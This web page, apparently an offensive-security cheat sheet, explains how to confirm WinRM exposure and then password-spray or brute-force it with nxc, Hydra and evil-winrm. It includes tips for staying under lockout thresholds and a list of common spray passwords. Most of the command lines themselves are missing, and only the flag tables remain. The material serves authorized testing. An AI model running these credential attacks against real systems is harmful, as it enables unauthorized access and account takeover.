WinRM Brute Force and Password Spraying
WinRM exposes Windows Remote Management on port 5985 (HTTP) and 5986 (HTTPS). Authentication goes through the same AD lockout policy as every other Windows service. Check the lockout threshold before running anything — spray one password at a time and stay at least two attempts below the threshold per account per observation window.
Confirming WinRM is Open
Before spraying, confirm the service is reachable:
Explain command
| -p 5985,5986 | Scans only specified ports: 5985 (WinRM HTTP) and 5986 (WinRM HTTPS) |
| $TARGET_IP | Variable placeholder for the target IP address to scan |
Or with a direct connection test using curl:
Explain command
| -s | Silent mode; suppresses progress meter and error information |
| http://$TARGET_IP:5985/wsman | Target URL with variable placeholder for IP and WinRM service endpoint |
Any response confirms WinRM is listening. A connection refused means it is not enabled.
Password Spraying with nxc
nxc is the most reliable and cleanest tool for WinRM spraying:
Explain command
| winrm | Protocol to target for credential spraying/enumeration |
| $TARGET_IP | Target IP address or hostname to connect to |
| -u users.txt | File containing list of usernames to test |
| -p $PASSWORD | Password or file containing passwords to attempt |
| -d $DOMAIN | Domain name for authentication context |
| --continue-on-success | Continue spraying after finding valid credentials |
Spray across a subnet:
WINRM 10.10.10.10 5985 DC01 [+] CORP\jsmith:Winter2024! (Pwn3d!)
Explain command
| $TARGET_IP/24 | Target IP address range in CIDR notation for network scan |
| -u users.txt | Username file containing list of usernames to test |
| -p 'Winter2024!' | Password to use for authentication attempts |
| -d $DOMAIN | Domain name for authentication context |
| --continue-on-success | Continue scanning even after successful credential validation |
(Pwn3d!) means the account has WinRM access and can open a remote session. A [+] without (Pwn3d!) means valid credentials but no WinRM access rights.
Spraying Local Accounts
Test local accounts without a domain:
Explain command
| winrm | Protocol to use for authentication and command execution |
| $TARGET_IP | Target host IP address or hostname |
| -u $USER | Username for authentication |
| -p $PASSWORD | Password for authentication |
| --local-auth | Authenticate against local accounts instead of domain |
| --continue-on-success | Continue spraying credentials after finding valid ones |
Brute Force with Hydra
For per-account brute force against a single target:
Explain command
| -l $USER | Single username for authentication attempts |
| -P /usr/share/wordlists/rockyou.txt | Password wordlist file path |
| $TARGET_IP | Target host IP address |
| http-post-form | HTTP POST form authentication module |
| /wsman:Authorization\: Basic $(echo -n $USER:^PASS^ | base64):Unauthorized | POST form path with Base64-encoded credentials and response check |
| -s 5985 | Port number for connection |
The WinRM HTTP module in Hydra is less reliable than nxc. Use nxc by default and fall back to Hydra when nxc has issues.
Checking Lockout Policy First
Pull the policy via LDAP before spraying:
Explain command
| -x | Use simple authentication instead of SASL. |
| -H ldap://$TARGET_IP | LDAP server URI to connect to. |
| -D "$USER@$DOMAIN" | Bind DN (distinguished name) for authentication. |
| -w $PASSWORD | Bind password for authentication. |
| -b "$BASE_DN" | Base DN for search scope. |
| (objectClass=domainDNS) | LDAP filter to search for domain DNS objects. |
| lockoutThreshold | Attribute to retrieve account lockout threshold value. |
| lockoutDuration | Attribute to retrieve account lockout duration value. |
A lockoutThreshold of 0 means no lockout — brute force freely. For any other value, run one password per lockout window (typically 30 minutes).
Common Spray Passwords
Winter2024!, Spring2024!, Summer2024!, Autumn2024!
Welcome1, Welcome123, Welcome2024!
Password1, Password123, Password2024!
(company name)123!, (company name)2024!
(blank password — accounts with PASSWD_NOTREQD)
Verifying Credentials and Opening a Session
Once you have valid credentials, verify the session opens:
Explain command
| -i $TARGET_IP | Specifies the target IP address to connect to |
| -u $USER | Specifies the username for authentication |
| -p $PASSWORD | Specifies the password for authentication |
| -d $DOMAIN | Specifies the Active Directory domain name |
If WinRM is on HTTPS (5986):
Explain command
| -i $TARGET_IP | Target IP address to connect to |
| -u $USER | Username for authentication |
| -p $PASSWORD | Password for authentication |
| -d $DOMAIN | Domain name for authentication |
| -S | Use SSL/TLS encryption for connection |
-S enables SSL. Add -c and -k to supply a client certificate and key if required.
For a full guide on what to do once inside a WinRM session, see Evil-WinRM. For lateral movement after obtaining access, see AD Remote Execution.
References
-
NetExec (nxc)github.com/Pennyw0rth/NetExec (opens in new tab)
WinRM module documentation and spraying options.
-
WinRM shell client documentation.
Was this helpful?
Your feedback helps improve this page.